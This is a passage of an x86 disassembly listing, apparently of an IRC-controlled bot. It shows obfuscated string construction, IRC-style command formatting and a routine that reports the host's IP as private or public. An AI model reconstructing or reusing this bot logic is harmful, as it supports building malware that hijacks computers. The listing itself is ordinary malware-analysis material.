sub_4119E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A60	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B20	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411B20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411BE0	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411BF8:				; CODE XREF: sub_411BE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411C10	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C10
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411C36
		lea	edi, [esi+11h]
		jmp	short loc_411C38
; ---------------------------------------------------------------------------


loc_411C36:				; CODE XREF: sub_411C10+1Fj
		xor	edi, edi


loc_411C38:				; CODE XREF: sub_411C10+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_411C10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C8C
		lea	ebx, [esi+11h]
		jmp	short loc_411C8E
; ---------------------------------------------------------------------------


loc_411C8C:				; CODE XREF: ___:00411C85j
		xor	ebx, ebx


loc_411C8E:				; CODE XREF: ___:00411C8Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CEB
		lea	ebx, [esi+11h]
		jmp	short loc_411CED
; ---------------------------------------------------------------------------


loc_411CEB:				; CODE XREF: ___:00411CE4j
		xor	ebx, ebx


loc_411CED:				; CODE XREF: ___:00411CE9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D40
		lea	ebx, [esi+11h]
		jmp	short loc_411D42
; ---------------------------------------------------------------------------


loc_411D40:				; CODE XREF: ___:00411D39j
		xor	ebx, ebx


loc_411D42:				; CODE XREF: ___:00411D3Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D95
		lea	ebx, [esi+11h]
		jmp	short loc_411D97
; ---------------------------------------------------------------------------


loc_411D95:				; CODE XREF: ___:00411D8Ej
		xor	ebx, ebx


loc_411D97:				; CODE XREF: ___:00411D93j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DE8
		lea	ebx, [esi+11h]
		jmp	short loc_411DEA
; ---------------------------------------------------------------------------


loc_411DE8:				; CODE XREF: ___:00411DE1j
		xor	ebx, ebx


loc_411DEA:				; CODE XREF: ___:00411DE6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E41
		lea	ebx, [esi+11h]
		jmp	short loc_411E43
; ---------------------------------------------------------------------------


loc_411E41:				; CODE XREF: ___:00411E3Aj
		xor	ebx, ebx


loc_411E43:				; CODE XREF: ___:00411E3Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E9F
		lea	ebx, [esi+11h]
		jmp	short loc_411EA1
; ---------------------------------------------------------------------------


loc_411E9F:				; CODE XREF: ___:00411E98j
		xor	ebx, ebx


loc_411EA1:				; CODE XREF: ___:00411E9Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EFA
		lea	ebx, [esi+11h]
		jmp	short loc_411EFC
; ---------------------------------------------------------------------------


loc_411EFA:				; CODE XREF: ___:00411EF3j
		xor	ebx, ebx


loc_411EFC:				; CODE XREF: ___:00411EF8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411F55
		lea	ebx, [esi+11h]
		jmp	short loc_411F57
; ---------------------------------------------------------------------------


loc_411F55:				; CODE XREF: ___:00411F4Ej
		xor	ebx, ebx


loc_411F57:				; CODE XREF: ___:00411F53j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4120B0	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4120B0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4121B2
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490C0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4121B2:				; CODE XREF: sub_4120B0+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412229
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_412229:				; CODE XREF: sub_4120B0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122E4
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412602
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4122E4:				; CODE XREF: sub_4120B0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41238D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490C4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_4120B0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123FB
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_4490F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4123FB:				; CODE XREF: sub_4120B0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41245D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41245D:				; CODE XREF: sub_4120B0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4124FD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_4120B0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412602
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412602
; ---------------------------------------------------------------------------


loc_4125D9:				; CODE XREF: sub_4120B0+3Aj
					; sub_4120B0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC5E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412602:				; CODE XREF: sub_4120B0+FDj
					; sub_4120B0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_4120B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412780	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412780
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5FC011
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F30
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_41288B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412890
; ---------------------------------------------------------------------------


loc_41288B:				; CODE XREF: sub_412780+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412890:				; CODE XREF: sub_412780+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412940	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41299E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41299E:				; CODE XREF: sub_412940+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412940	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129D0	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_4129D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A40	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412A40
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A77
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A77:				; CODE XREF: sub_412A40+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A98
		mov	eax, dword_4490C0
		push	eax
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412A98:				; CODE XREF: sub_412A40+4Ej
		mov	ecx, dword_4490C8
		push	ecx


loc_412A9F:				; CODE XREF: sub_412A40+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B70	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
